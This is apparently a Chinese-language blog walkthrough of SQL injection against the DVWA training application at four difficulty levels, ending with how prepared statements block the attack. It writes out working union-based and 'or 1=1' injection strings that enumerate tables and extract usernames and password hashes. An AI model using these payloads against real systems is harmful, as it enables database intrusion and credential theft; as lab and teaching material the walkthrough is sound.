【DVWA】SQL Injection

圣人之道,吾性自足,不假外求

1.SQL Injection(Low)

相关代码分析

可以看到代码没有对id参数做任何过滤,会导致SQL注入漏洞

输入1,正常返回

输入1',产生报错,存在字符型SQL注入

判断字段数,输入1' order by 2 -- q,回显正常,用-- q注释掉前面的单引号

输入1' order by 3 -- q,回显错误,所以字段数为2

判断回显点,输入1' union select 1,2 -- q,可以在如图所示的位置获取我们想要的内容

查询当前数据库名为dvwa,输入1' union select 1,database() -- q

查询当前数据库下的所有表名guestbook,users,输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- q

查询users表中的所有字段user_id,first_name,last_name,user,password,avatar,last_login,failed_login,输入1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- q

查询user和password字段的内容,输入1' union select group_concat(user),group_concat(password) from users -- q

2.SQL Injection(Medium)

相关代码分析

Medium级别的代码利用mysql_real_escape_string函数对特殊符号

\x00,\n,\r,,',",\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

判断是否存在注入,注入是字符型还是数字型

抓包更改参数id为1' or 1=1 #

报错:

抓包更改参数id为1 or 1=1 #

查询成功:

说明存在数字型注入。

(由于是数字型注入,服务器端的mysql_real_escape_string函数就形同虚设了,因为数字型注入并不需要借助引号。)

中间的操作和低等级的SQL注入类似,只是抓包修改,在此不再做过多赘述

3.SQL Injection(High)

相关代码分析

与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉,前面要加上'。中间的操作和低等级的SQL注入类似,在此不再做过多赘述

输入1' or 1=1 union select group_concat(user),group_concat(password) from users #,查询成功:

4.SQL Injection(Impossible)

相关代码分析

可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了"脱裤",Anti-CSRFtoken机制的加入了进一步提高了安全性。

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

复制代码
CSDN: 
https://rdyx0.blog.csdn.net/

公众号:儒道易行
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

博客:
https://rdyx0.github.io/

先知社区:
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85
相关推荐
韩立学长12 分钟前
基于Springboot的旧物公益捐赠管理系统3726v22v(程序、源码、数据库、调试部署方案及开发环境)系统界面展示及获取方式置于文档末尾,可供参考。
数据库·spring boot·后端
苦学编程的谢1 小时前
Redis_4_常见命令(完)+认识数据类型和编码方式
数据库·redis·缓存
小光学长1 小时前
基于Vue的儿童手工创意店管理系统as8celp7(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
前端·数据库·vue.js
睡前要喝豆奶粉1 小时前
.NET Core Web API开发需引入的三个基本依赖配置说明
oracle·c#·.netcore
小光学长1 小时前
基于Vue的地铁综合服务管理系统7949eg04(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
前端·数据库·vue.js
Yeats_Liao1 小时前
时序数据库系列(二):InfluxDB安装配置从零搭建
数据库·后端·时序数据库
Yeats_Liao1 小时前
时序数据库系列(一):InfluxDB入门指南核心概念详解
数据库·后端·时序数据库·db
betazhou2 小时前
Oracle ADG ,DGBroker管理,异常断电重启主备库的状态
数据库·oracle·goldengate·dgbroker
岁岁岁平安2 小时前
本机 MongoDB 注册系统服务、启用security认证
数据库·python·mongodb
007php0072 小时前
某游戏互联网大厂Java面试深度解析:Java基础与性能优化(一)
java·数据库·面试·职场和发展·性能优化·golang·php